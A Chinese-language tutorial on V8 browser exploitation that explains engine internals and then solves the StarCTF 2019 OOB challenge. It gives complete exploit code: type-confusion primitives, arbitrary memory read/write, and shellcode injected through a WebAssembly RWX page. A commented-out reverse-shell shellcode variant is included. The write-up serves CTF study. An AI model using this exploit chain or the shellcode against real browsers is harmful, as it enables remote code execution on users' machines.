浏览器 v8 pwn

news2024/12/25 23:36:52

背景知识

浏览器框架

它是⼀个多进程+IPC的程序, 不同的进程管理不同的内容,

  • browser process: 主进程
  • rander process: 负责控制渲染内容
  • GPU process: 负责渲染内容
  • utility process: 标签⻚进程
  • plugin process: 插件进程
    在这里插入图片描述
    每个插件, 每个标签页都是单独的进程, 有属于自己的PID
    在这里插入图片描述

JS 引擎

各浏览器对应的 js 引擎:

  • V8 是 chrome 的 JS Engine ,同时也是 Node.js 的 JS Engine 。V8调试接口非常丰富,基本上可以给你任何你想要的信息。
  • safari 的 js 引擎是 webkit , 除了 safari , 很多 appstore 的程序也都用 webkit 。
  • edge 以前用的是 chakracore, 现在用 v8 了。chakracore 几乎已经被淘汰了(代码量小,适合学习)
  • firefox 用的是 spidermonkey

JS引擎流水线机制

js 引擎(javascript engine): 处理⼀些 js 语⾔时, 通常是先把网页代码下载下来, 浏览器来解析, 浏览器解析 js 语
句, 达到指定的效果, 浏览器可以说是 js 语⾔的解释器.
在这里插入图片描述

  • parser:
    • 将 js 源代码变成 AST(抽象语法树)
    • 检查错误的语法
    • 为生成 bytecode (字节码)做准备
  • interpreter: 解释器, 可以理解成⼀个自定义的虚拟机(⼀个很大很大的 switch case 分支, 对每个 case 有不同的操作符)
    • 将 AST 转化为 Bytecode
    • 解析执行 Bytecode
    • parser 可以组成⼀个完整的 JS Engine
  • JIT Compiler(optimizing compiler): Just In time编译器
    • Interpreter 执行 bytecode 很慢, JIT 编译器用于优化"Hot Function"(被执行了很多次的函数, 很热门的函数)
    • 搜集函数调用时的实参类型(因为 js 是⼀个弱类型语言, 所以直接丢给 interpreter 解析时会出现大量分支)
    • 如果收集到了可以被 JIT 优化的代码, 就会被丢到 optmizing compiler 的分支中 让 JIT 做优化,如果后续突然参数类型不⼀样了, 那么就 deoptimize (去优化), 重新执行 bytecode . 然后 bytecode 又可以收集类型… 然后依次循环。

常见 JS 引擎架构

  • V8(Chrome)
    在这里插入图片描述
  • SpiderMonkey(FireFox)
    在这里插入图片描述
  • Chakra Core(Edge)
    在这里插入图片描述
  • Webkit(safari)
    在这里插入图片描述

相关资料

  • 漏洞网站
  • 源码网站

环境搭建

虚拟机版本为 ubuntu 18.04

编译 v8

首先下载用于 Chromium 开发的工具 depot_tools 。这个工具用于 v8 的编译。

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

depot_tools 添加到环境变量 PATH 的末尾

export PATH=$PATH:<path to depot_tools>

挂好代理,进入到 depot_tools 。直接安装会 ninja 报错需要先将版本回退到 138bff28** 并且将 DEPOT_TOOLS_UPDATE 设为 0 。之后更新 depot_tools

git reset --hard 138bff28
export DEPOT_TOOLS_UPDATE=0
gclient

出现以下界⾯说明更新成功
在这里插入图片描述
下载 v8,这个时间比较长,下载完后目录下会多一个 v8 文件夹。

fetch v8

根据题目需求 git checkout 切换 v8 版本,然后 gclient sync -D 下载相关依赖,-D 会删除不需要的依赖。

cd v8
git checkout  7.6.303.28
gclient sync -D
  • 如果题目给的是一个 Chrome 浏览器那么首先安装浏览器然后再网址栏中输入 chrome://version 查看版本,例如:

    112.0.5615.87 (正式版本) (64 位) (cohort: Bypass) 
    

    打开 github 的 chrome 项目,搜索版本号并切换至相应版本。
    在这里插入图片描述
    然后在项目根目录下的 DEPS 文件中查看 V8 版本:
    在这里插入图片描述

  • 如果题目给了 diff 文件需要将 patch 到项目中。对 git 不熟的 patch 前建议先拍快照

    git apply ./oob.diff
    

之后安装相关依赖,如果遇到下载字体未响应问题需要添加 --no-chromeos-fonts 参数。

./build/install-build-deps.sh

编译 v8 ,这里选的 release 版本。debug 版本改为 x64.debug ,32 为版本将 x64 改为 ia32 。如果调试漏洞的话, 最好选择 release 版本 因为 debug 版本可能会有很多检
查。
另外如果出现路径错误需要切换到 ./tools/dev/ 路径再进行编译。

./tools/dev/gm.py x64.release

完成后是这个样子
在这里插入图片描述
编译生成的 d8./out/x64.release/d8 中。
在这里插入图片描述

调试 v8

~/.gdbinit 添加 v8 的调试插件:

source <path to v8>/tools/gdbinit
source <path to v8>/gdb-v8-support.py

常见参数:

  • --allow-natives-syntax 开启原生API (用的比较多)
  • --trace-turbo 跟踪生成TurboFan IR
  • --print-bytecode 打印生成的bytecode
  • --shell 运行脚本后切入交互模式
  • 更多参数可以参考 --help

调试 js 脚本时可以采用如下命令:

gdb ./d8
r --allow-natives-syntax --shell ./exp.js

js中常见的⼀些调试技巧:

  • 在js中写⼊断点:%SystemBreak(); ,如果不在调试模式的话, 程序直接中断, 如果在调试器中, 会被调试器识别到
    并且断下来。
  • 打印出对象的地址和对应的信息: %DebugPrint(var_name);
  • 调试时输入 job + DebugPrint打印的对象地址 可以打印出对象的结构。

浏览器利用常用的class

数组 Array

  • 数组是JS最常用的class之一,它可以存放任意类型的js object。
  • 有一个 length 属性,可以通过下标来线性访问它的每一个元素。
  • 有许多可以修改元素的接口。
  • 当元素为object时,只保留指针。

ArrayBuffer 和 DataView

ArrayBuffer

ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。ArrayBuffer 不能直接操作,而是要通过类型数组对象或 DataView 对象来操作,它们会将缓冲区中的数据表示为特定的格式,并通过这些格式来读写缓冲区的内容。

  • 语法
    new ArrayBuffer(length)
    
  • 参数
    • length 要创建的 ArrayBuffer 的大小,单位为字节。
  • 返回值:一个指定大小的 ArrayBuffer 对象,其内容被初始化为 0

DataView

DataView 是一个可以从 ArrayBuffer 对象中读写多种数值类型的底层接口,使用它时,不用考虑不同平台的字节序问题。

  • 语法

    new DataView(buffer [, byteOffset [, byteLength]])
    
  • 参数

    • buffer:一个 ArrayBufferSharedArrayBuffer 对象,DataView 对象的数据源。
    • byteOffset(可选):此 DataView 对象的第一个字节在 buffer 中的偏移。如果未指定,则默认从第一个字节开始。
    • byteLength(可选):此 DataView 对象的字节长度。如果未指定,则默认与 buffer 的长度相同。
  • 返回值:一个 DataView 对象,用于呈现指定的缓存区数据。你可以把返回的对象想象成一个二进制 array buffer 的“解释器”——它知道如何在读取或写入时正确地转换字节码。这意味着它能在二进制层面处理整数与浮点转化、字节顺序等其他有关的细节问题。

举例

例如下面这段代码

var ab = new ArrayBuffer(0x100);
var dv = new DataView(ab);
dv.setUint32(0, 0xdeadbeef, true);
console.log(dv.getUint16(2, true));

%DebugPrint(dv);
%SystemBreak();

这段代码输出结果是 57005 ,即 0xdead 。
在这里插入图片描述

WASM(WebAssembly)

  • 顾名思义,是Asm on the web 。但其实不是真正意义上的汇编,只是更加接近汇编。

  • 常用接口有

    • WebAssembly.Module():创建一个新的 WebAssembly 模块对象。
    • WebAssembly.Instance():创建一个新的 WebAssembly 实例对象。
    • WebAssembly.Memory():创建一个新的 WebAssembly 内存对象。
    • WebAssembly.Table():创建一个新的 WebAssembly 表格对象。
  • 最重要的特点:可以在 Javascript Engine 的地址空间中导入一块可读可写可执行的内存页。

    let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
        128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
        0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
        0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
        97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
        42, 11]);
    let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
    let f = wasm_mod.exports.main;
    
    %SystemBreak();
    

    在这里插入图片描述

V8 的 object 通用结构

  • Object 可以拥有任意属性
  • 属性名可以是数字和字母的组合
  • 名字为数字的属性被称作 element ,其他的被称作 property
    在这里插入图片描述

Hidden Class (Map)

Hidden Class 也被称作 Object Map,简称 Map。位于 V8 O bject 的第一个 8 字节。
任何由 v8 gc 管理的 Js Object ,它的前 8 个字节(或者在 32 位上是前四个字节)都是⼀个指向 Map 的指针。
Map 中比较重要的字段是一个指向 DescriptorArray 的指针,里面包含有关name properties的信息,例如属性名和存储属性值的位置。
具有相同 Map 的两个 JS object ,就代表具有相同的类型(即具有以相同顺序命名的相同属性),比较 Map 的地址即可确定类型是否⼀致,同理,替换掉 Map 就可以进行类型混淆。

在一些利用中,可以通过伪造 Type 字段来伪造 Map

Properties

Properties 用于保持非数字索引的属性,分为 Inline PropertyFast PropertiesDictionary Properties

Inline Property

in-object proterty ,存放在 object 本身,而不是在 Properties 指针指向的内存,需要 Descriptor Array

Fast Properties

Fast Properties 线性保存在 Properties 指针指向的内存中,需要 Descriptor Array

Dictionary Properties

Dictionary PropertiesSlow Properties,以哈希表的形式保存在 Properties 指针指向的内存中,不需要 Descriptor Array

Elements

Elements 用于保存数字索引的属性。

Packed Elements & Holey Elements

如果各个属性之间连续,那么可以直接开一个数组(下标从 0 开始)来表示 Elements,如果有的下标没有对应的属性则数组中该下标对应的值为一个特殊值,此时这个 Elements 被称为 Holey Elements 。如果数组中每个下标都对应属性则这个 Elements 被称为 Packed Elements

例如下面这个脚本:

const a = ['a', 'b', 'c'];

%DebugPrint(a);
%SystemBreak();

delete a[1];
console.log(a[1]);
%SystemBreak();

a.__proto__ = {1: 'B', 2: "C"};
console.log(a[0]);
console.log(a[1]);
console.log(a[2]);
console.log(a[3]);
%SystemBreak();

调试结果如下:

0x37815f38bba9 <JSArray[3]>
pwndbg> job 0x37815f38bba9
0x37815f38bba9: [JSArray]
 - map: 0x39d6446c3069 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x1b0fcc0517a1 <JSArray[0]>
 - elements: 0x37815f38bb21 <FixedArray[3]> [PACKED_ELEMENTS (COW)]
 - length: 3
 - properties: 0x010c0d5c0c21 <FixedArray[0]> {
    #length: 0x247fa62001a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x37815f38bb21 <FixedArray[3]> {
           0: 0x010c0d5c74b1 <String[#1]: a>
           1: 0x010c0d5c7571 <String[#1]: b>
           2: 0x1b0fcc05f4f9 <String[#1]: c>
 }
 
...

pwndbg> job 0x37815f38bba9
0x37815f38bba9: [JSArray]
 - map: 0x39d6446c30b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x1b0fcc0517a1 <JSArray[0]>
 - elements: 0x37815f38bbc9 <FixedArray[3]> [HOLEY_ELEMENTS]
 - length: 3
 - properties: 0x010c0d5c0c21 <FixedArray[0]> {
    #length: 0x247fa62001a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x37815f38bbc9 <FixedArray[3]> {
           0: 0x010c0d5c74b1 <String[#1]: a>
           1: 0x010c0d5c05b1 <the_hole>
           2: 0x1b0fcc05f4f9 <String[#1]: c>
 }

...

pwndbg> job 0x37815f38bba9
0x37815f38bba9: [JSArray]
 - map: 0x39d6446ca599 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x37815f38bbf1 <Object map = 0x39d6446ca639>
 - elements: 0x37815f38bbc9 <FixedArray[3]> [HOLEY_ELEMENTS]
 - length: 3
 - properties: 0x010c0d5c0c21 <FixedArray[0]> {
    #length: 0x247fa62001a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x37815f38bbc9 <FixedArray[3]> {
           0: 0x010c0d5c74b1 <String[#1]: a>
           1: 0x010c0d5c05b1 <the_hole>
           2: 0x1b0fcc05f4f9 <String[#1]: c>
 }
pwndbg> job 0x37815f38bbf1
0x37815f38bbf1: [JS_OBJECT_TYPE]
 - map: 0x39d6446ca639 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
 - prototype: 0x1b0fcc042091 <Object map = 0x39d6446c0229>
 - elements: 0x37815f38bc29 <FixedArray[19]> [HOLEY_ELEMENTS]
 - properties: 0x37815f38bd01 <NameDictionary[17]> {
 }
 - elements: 0x37815f38bc29 <FixedArray[19]> {
           0: 0x010c0d5c05b1 <the_hole>
           1: 0x1b0fcc05f551 <String[#1]: B>
           2: 0x1b0fcc05f581 <String[#1]: C>
        3-18: 0x010c0d5c05b1 <the_hole>
 }

在这里插入图片描述

Fast Elements & Dictionary Elements

Fast ElementsDictionary Elements 的区别是存储方式是线性保存还是词典保存。 Dictionary Elements 主要用于 Holey Element 特别多的情况。

常见类型结构

处理通用对象外,v8 还内置了一些常见类型。

在 v8 源码的 v8/src/objects/objects.h 中有对 v8 各种类型之间继承关系的描述。

Most object types in the V8 JavaScript are described in this file.

Inheritance hierarchy:

  • Object
    • Smi (immediate small integer)
    • TaggedIndex (properly sign-extended immediate small integer)
    • HeapObject (superclass for everything allocated in the heap)
      • JSReceiver (suitable for property access)
        • JSObject
          • JSArray
            • TemplateLiteralObject
          • JSArrayBuffer
          • JSArrayBufferView
            • JSTypedArray
            • JSDataView
          • JSCollection
            • JSSet
            • JSMap
          • JSCustomElementsObject (may have elements despite empty FixedArray)
            • JSSpecialObject (requires custom property lookup handling)
              • JSGlobalObject
              • JSGlobalProxy
              • JSModuleNamespace
            • JSPrimitiveWrapper
          • JSDate
          • JSFunctionOrBoundFunctionOrWrappedFunction
            • JSBoundFunction
            • JSFunction
            • JSWrappedFunction
          • JSGeneratorObject
          • JSMapIterator
          • JSMessageObject
          • JSRegExp
          • JSSetIterator
          • JSShadowRealm
          • JSSharedStruct
          • JSStringIterator
          • JSTemporalCalendar
          • JSTemporalDuration
          • JSTemporalInstant
          • JSTemporalPlainDate
          • JSTemporalPlainDateTime
          • JSTemporalPlainMonthDay
          • JSTemporalPlainTime
          • JSTemporalPlainYearMonth
          • JSTemporalTimeZone
          • JSTemporalZonedDateTime
          • JSWeakCollection
            • JSWeakMap
            • JSWeakSet
          • JSCollator // If V8_INTL_SUPPORT enabled.
          • JSDateTimeFormat // If V8_INTL_SUPPORT enabled.
          • JSDisplayNames // If V8_INTL_SUPPORT enabled.
          • JSDurationFormat // If V8_INTL_SUPPORT enabled.
          • JSListFormat // If V8_INTL_SUPPORT enabled.
          • JSLocale // If V8_INTL_SUPPORT enabled.
          • JSNumberFormat // If V8_INTL_SUPPORT enabled.
          • JSPluralRules // If V8_INTL_SUPPORT enabled.
          • JSRelativeTimeFormat // If V8_INTL_SUPPORT enabled.
          • JSSegmenter // If V8_INTL_SUPPORT enabled.
          • JSSegments // If V8_INTL_SUPPORT enabled.
          • JSSegmentIterator // If V8_INTL_SUPPORT enabled.
          • JSV8BreakIterator // If V8_INTL_SUPPORT enabled.
          • WasmExceptionPackage
          • WasmTagObject
          • WasmGlobalObject
          • WasmInstanceObject
          • WasmMemoryObject
          • WasmModuleObject
          • WasmTableObject
          • WasmSuspenderObject
        • JSProxy
      • FixedArrayBase
        • ByteArray
        • BytecodeArray
        • FixedArray
          • HashTable
            • Dictionary
            • StringTable
            • StringSet
            • CompilationCacheTable
            • MapCache
          • OrderedHashTable
            • OrderedHashSet
            • OrderedHashMap
          • FeedbackMetadata
          • TemplateList
          • TransitionArray
          • ScopeInfo
          • SourceTextModuleInfo
          • ScriptContextTable
          • ClosureFeedbackCellArray
        • FixedDoubleArray
      • PrimitiveHeapObject
        • BigInt
        • HeapNumber
        • Name
          • String
            • SeqString
              • SeqOneByteString
              • SeqTwoByteString
            • SlicedString
            • ConsString
            • ThinString
            • ExternalString
              • ExternalOneByteString
              • ExternalTwoByteString
            • InternalizedString
              • SeqInternalizedString
                • SeqOneByteInternalizedString
                • SeqTwoByteInternalizedString
              • ConsInternalizedString
              • ExternalInternalizedString
                • ExternalOneByteInternalizedString
                • ExternalTwoByteInternalizedString
          • Symbol
        • Oddball
      • Context
        • NativeContext
      • Cell
      • DescriptorArray
      • PropertyCell
      • PropertyArray
      • InstructionStream
      • AbstractCode, a wrapper around Code or BytecodeArray
      • GcSafeCode, a wrapper around Code
      • Map
      • Foreign
      • SmallOrderedHashTable
        • SmallOrderedHashMap
        • SmallOrderedHashSet
      • SharedFunctionInfo
      • Struct
        • AccessorInfo
        • AsmWasmData
        • PromiseReaction
        • PromiseCapability
        • AccessorPair
        • AccessCheckInfo
        • InterceptorInfo
        • CallHandlerInfo
        • EnumCache
        • TemplateInfo
          • FunctionTemplateInfo
          • ObjectTemplateInfo
        • Script
        • DebugInfo
        • BreakPoint
        • BreakPointInfo
        • CallSiteInfo
        • CodeCache
        • PropertyDescriptorObject
        • PromiseOnStack
        • PrototypeInfo
        • Microtask
          • CallbackTask
          • CallableTask
          • PromiseReactionJobTask
            • PromiseFulfillReactionJobTask
            • PromiseRejectReactionJobTask
          • PromiseResolveThenableJobTask
        • Module
          • SourceTextModule
          • SyntheticModule
        • SourceTextModuleInfoEntry
        • StackFrameInfo
      • FeedbackCell
      • FeedbackVector
      • PreparseData
      • UncompiledData
        • UncompiledDataWithoutPreparseData
        • UncompiledDataWithPreparseData
      • SwissNameDictionary

Formats of Object::ptr_: Smi: [31 bit signed int] 0
HeapObject: [32 bit direct pointer] (4 byte aligned) | 01

Smi

所有不超过 0x7FFFFFFF 的整数都以 Smi 的形式存储。

  • 在 32 位上可以表示有符号的 31 位的整数,通过右移一位可以获得原始值。
    在这里插入图片描述
  • 在 64 位上可以表示有符号的32位的整数,通过右移 32 位可以获得原始值
    在这里插入图片描述

HeapObject 指针

最低位为 1 表示指向 HeapObject 的指针。

  • 32 位 在这里插入图片描述
  • 64位 在这里插入图片描述
  • 指针压缩
    在 V8 高版本中会基于数据 4GB 对齐所有指针高 32 位相同而只保留低 32 位而指针(类似于32位下的 HeapObject 指针),而基址存放在 r13 寄存器指向的内存中,从而节省空间。
    在这里插入图片描述
    在地址泄露的时候可以将指针覆盖成 0 这样就可以泄露基址附近的数据,从而泄露基址。

Heap Number

表示不能在 Smi 范围内表⽰的整数,均以 double 值的形式保存在 Heap NumberValue 里。
在这里插入图片描述

String

保存字符串对象,具体结构各版本之间可能存在差异。
在这里插入图片描述

JSArray

继承自 ObjectHeapObjectJSReceiver
在这里插入图片描述
v8 的 JSArray 遵循图中格的变化,从左到右,从上到下,不可逆。
在这里插入图片描述
规律:

  • 存在 Smi 和浮点数则都用浮点数表示
  • 存在 Object 类型则都用 Object 类型表示。

在实际的漏洞利用中,我们常构造出 double array 和 obj array 的类型混淆,从而构建 addrof 和 fakeobj 原语。

JSArrayBuffer

JSArrayBuffer ,顾名思义,就是保存有⼀个被称作 BackingStore 的 buffer 的对象。
在 V8 中,对象通常被存放在由 V8 GC 管理的 mapped 区域,然而 BackingStore 是⼀个不被 V8 GC 管理的区域,(事实上它在 Chrome 里是由 PartitionAlloc 来管理,在 d8 里则是用 ptmalloc 来模拟管理),此外,由于它不是由 GC 管理的 HeapObject ,因 此指向 BackingStore 的指针不是 Tagged Value(末尾不能为1)。
在这里插入图片描述

  • 虽然在 ArrayBuffer 中描述了大小,但如果将此值重写为较大的值,则可以允许读取和写入的长度,超出 BackingStore 数组的范围。
    同样,如果也可以重写 BackingStore 指针,则可以读取和写入任意内存地址,这些是在 exploit 中常用的方法。

JSTypedArray

由于 JSArrayBuffer 实际上只是持有 BackingStore 指针的对象,换句话说,它只是⼀个 buffer ,所以在 js 的设计⾥,对 BackStore 的读写需要依赖于 TypedArray 或者 DataView
在这里插入图片描述
在漏洞利用时通常使用 JSTypedArray 进行整型和浮点数类型的转换。

var ab = new ArrayBuffer(0x8);
var f64 = new Float64Array(ab);
var i64 = new BigUint64Array(ab);

function d2u(val) {
    f64[0] = val;
    return i64[0];
}

function u2d(val) {
    i64[0] = val;
    return f64[0];
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}

// let val = "0x1145141919810";
let val = 0x1145141919810n;
print(u2d(val));
print(hex(d2u(u2d(val))));

// 1.501041597677047e-309
// 0x0001145141919810

JSDataView

也是用来读写 ArrayBufferBackingStore 的内容的对象,在 exploit 里常用作最后的任意地址读写原语的构造。
在这里插入图片描述
利用 JDataView 实现的类型转换:

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}

let val = 0x1145141919810n;
print(u2d(val));
print(hex(d2u(u2d(val))));

StarCTF 2019 OOB

附件下载链接

漏洞分析

观察 oob.diff 发现增加了如下功能,即任意数组可以以浮点数类型越界读写 8 字节。

BUILTIN(ArrayOob){
    uint32_t len = args.length();
    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
    Handle<JSReceiver> receiver;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
            isolate, receiver, Object::ToObject(isolate, args.receiver()));
    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
    uint32_t length = static_cast<uint32_t>(array->length()->Number());
    if(len == 1){
        //read
        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
    }else{
        //write
        Handle<Object> value;
        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
        elements.set(length,value->Number());
        return ReadOnlyRoots(isolate).undefined_value();
    }
}

泄露 Map

调试发现 JSArray 在内存中的结构如下图所示:
在这里插入图片描述因此可以通过 oob 泄露 Map 地址。

var obj = {};
var float_array = [.1];
var object_array = [obj];
var float_array_map = float_array.oob();
var object_array_map = object_array.oob();

print("[*] float array map: " + hex(d2u(float_array_map)));
print("[*] object array map: " + hex(d2u(object_array_map)));

类型混淆

通过 oob 修改 Map 构造实现浮点数数组和 objec t数组的类型混淆,进而构造 addressOffakeObj 两个利用原语。

  • addressOf:传入一个 object , 返回它的地址,实现对任意 object 的地址泄漏。
  • fakeObj:传入一个地址,我们把这个地址指向的内存当做一个 object , 并将它返回。实现对任意 object 的伪造。
function addressOf(obj) {
    float_array.oob(object_array_map);
    float_array[0] = obj;
    float_array.oob(float_array_map);
    return d2u(float_array[0]);
}

function fakeObj(addr) {
    object_array.oob(float_array_map);
    object_array[0] = u2d(addr | 1n);
    object_array.oob(object_array_map);
    return object_array[0];
}

任意地址读写

任意地址读写如果用 DoubleArray 实现会有如下问题:

  • 在数组进行元素访问时,它会和这个堆的基地址做一个 mask 的操作,保证了这个 elements 指针指向的内存段时属于 v8 的堆的范围。
  • 在对伪造的浮点数数组进行操作的时候,触发了收集 Inline Cache 的函数,导致 SIGTRAP 。
  • DoubleArray 构造的任意地址读写只能读写 elements + 0x10 ,并且还会访问 [elements, elements + 0x10) 范围内的数据,而如果是在 rwx 段写 shellcode 需要从起始位置开始写,因此不能用 DoubleArray 构造的任意地址读写完成。

因此这里需要使用 ArrayBufferDataView 来构造任意地址读写。

首先在 DoubleArray 中构造一个 fake ArrayBuffer,之后就可以通过 DoubleArray 修改 BackingStore 指针来进行任意地址读写。
在这里插入图片描述

var fake_ab_mem = [
    u2d(0n),                    // Map
    u2d(0n),                    // Propertries
    u2d(0n),                    // Elements
    u2d(0x1000n),               // ByteLength
    u2d(0n),                    // BackingStore
    u2d(0n),                    // Map
    u2d(0x1900042319080808n),   // type
];

var fake_ab_addr = addressOf(fake_ab_mem) + 0x58n;
fake_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
var fake_ab = fakeObj(fake_ab_addr);
var dv = new DataView(fake_ab);

function arbitrary_address_read(address) {
    fake_ab_mem[4] = u2d(address);
    return dv.getBigUint64(0, true);
}

function arbitrary_address_write(address, value) {
    fake_ab_mem[4] = u2d(address);
    return dv.setBigUint64(0, value, true);
}

写入 shellcode

利用 WebAssembly 开辟 rwx 段。

let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
    128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
    0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
    0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
    97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
    42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;

利用任意地址读泄露 rwx 段基址。

var rwx_mem_addr = arbitrary_address_read(addressOf(wasm_mod) - 1n + 0x88n);
print("[*] rwx mem addr: " + hex(rwx_mem_addr));

写入 shellcode 并调用 WebAssembly 对应函数执行 shellcode 。

var shellcode = [
    0x9090909090909090n,
    0x636c6163782fb848n,
    0x73752fb848500000n,
    0x8948506e69622f72n,
    0x89485750c03148e7n,
    0x3ac0c748d23148e6n,
    0x4944b84850000030n,
    0x48503d59414c5053n,
    0x485250c03148e289n,
    0x00003bc0c748e289n,
    0x0000000000050f00n
]


// var shellcode=[
// 0x6a5f026a9958296an,
// 0xb9489748050f5e01n,
// 0x0100007f39300002n,
// 0x6a5a106ae6894851n,
// 0x485e036a050f582an,
// 0x75050f58216aceffn,
// 0x2fbb4899583b6af6n,
// 0x530068732f6e6962n,
// 0xe689485752e78948n,
// 0x000000000000050fn]
//nc -lvvp 12345

for (let i = 0; i < shellcode.length; i++) {
    arbitrary_address_write(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}

f();

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/425474.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【ChatGLM-6B】清华开源的消费级显卡大语言模型,本地部署与测试

chatGLM-6B 官方代码&#xff1a;https://github.com/THUDM/ChatGLM-6B官方博客&#xff1a;https://chatglm.cn/blog论文&#xff1a; 2210.GLM-130B: An Open Bilingual Pre-trained Model &#xff08;开源的双语预训练模型&#xff09;2103.GLM: General Language Model Pr…

【iOS开发-响应者链Responder Chain】

文章目录0.0 前言1 响应者链&#xff08;Responder Chain1.1 响应者1.2 响应链事件1.3 响应者对象1.3.1 常见的响应者对象1.3.3 UIResponder1.3 UITouch1.3.1 UITouch的属性1.3.2 UITouch的方法1.4 UIEvent1.4.2 获取touch1.5 完整的响应者链1.5.1寻找响应者的hitTest方法1.5.2…

【深度学习】rnn是什么?循环神经网络是什么?RNN前向传播。

文章目录循环神经网络1.循环神经网络原理2.使用Numpy实现RNN层的前向传播3.RNN存在的问题4.小结循环神经网络 通常卷积神经网络 适合处理图像问题&#xff0c;然而通常适合处理自然语言的网络是循环神经网络。rnn是所有基本网络&#xff0c;就像cnn 是很多复杂网络的基本原型。…

项目管理知识点学习

项目管理&#xff0c;验收需要做的事情&#xff0c;验收汇报ppt 验收汇报PPT包含内容&#xff1a; 项目背景&#xff08;金额&#xff0c;招投标时间&#xff09;项目功能完成情况验收内容专家评审 竣工验收材料&#xff1a;详细设计和测试报告 项目风险管理&#xff0c;外来…

Betaflight BN880 GPS 简单测试

Betaflight BN880 GPS 简单测试1. 源由2. 窗台对比测试3. 开阔区域测试3.1 GPS安装位置3.1.1 BN880 GPS 机尾打印支架 安装位置3.1.2 BN880 GPS 机头固定 安装位置3.1.3 M8N GPS 机尾打印支架 安装位置3.2 M8N模块历史记录3.3 BN880模块第一次&#xff08;机尾安装&#xff09;…

Golang 哈希表详解

哈希表介绍 ​ 一个映射&#xff0c;也成为关联数组&#xff0c;其实是一个由唯一键组成的集合&#xff0c;而每个键必然关联一个特定的值。这种键到值的关联关系称为映射&#xff0c;若在键到值的关联使用hash计算&#xff0c;就是哈希表&#xff0c;映射至少支持三个操作&am…

每日做题总结——day01

目录 选择题 for循环 指针数组 位段 getchar 大小端存储 进制与格式控制符 位运算 数组指针 二维数组的存储 计算二进制中1的个数 斐波那契数列求递归次数 编程题 删除公共字符 排序子序列 倒置字符串 选择题 for循环 解析&#xff1a;该题主要看for…

react face to face

React面试题 创建一个react项目 1.全局安装create-react-app npm install -g create-react-app 2.创建项目 create-react-app myapp 3.局部安装&#xff0c;可以直接用npx npx create-react-app myapp 4.进入文件夹 cd myapp 5.启用项目 npm start&#xff08;开发模式下运行&…

浅谈DNS-rebinding

为啥突然要总结一下这个很老的知识点&#xff0c;我也不知道&#xff0c;可能太菜了&#xff0c;闲下来总得学点什么~ DNS Rebinding 0x01 攻击简介 DNS Rebinding也叫做DNS重绑定攻击或者DNS重定向攻击。在这种攻击中&#xff0c;恶意网页会导致访问者运行客户端脚本&#xff…

springboot-参数校验

SpringBoot 中使用 Valid 注解 Exception 全局处理器优雅处理参数验证 注解Valid的主要作用是用于数据效验&#xff0c;可以在定义的实体中的属性上&#xff0c;添加不同的注解来完成不同的校验规则。Controller类中在参数中添加Valid注解来开启效验功能Valid配合 Spring 会抛…

2023年4月10日下午总结和近日感悟

技术和钱 人生&#xff0c;活到现阶段&#xff0c;已于一月前&#xff0c;深感技术就是这么回事&#xff0c;不再像以前那样为学习某样东西而不问来由&#xff0c;闷头去学&#xff08;也许是因为即将步入下一个人生阶段&#xff09;。虽然&#xff0c;乐于也想去接受新技术&a…

centos7下基于nginx+uwsgi部署Django项目

文章目录一&#xff1a;基础环境介绍&#xff1a;二&#xff1a;部署环境安装配置&#xff1a;1.基础依赖环境安装2.安装wegt&#xff0c;vim&#xff0c;unzip等必须命令3.安装python与pip&#xff08;或者python多版本管理工具pyenv等&#xff09;4.安装nginx5.安装uwsgi三&a…

json和CMake简单入门

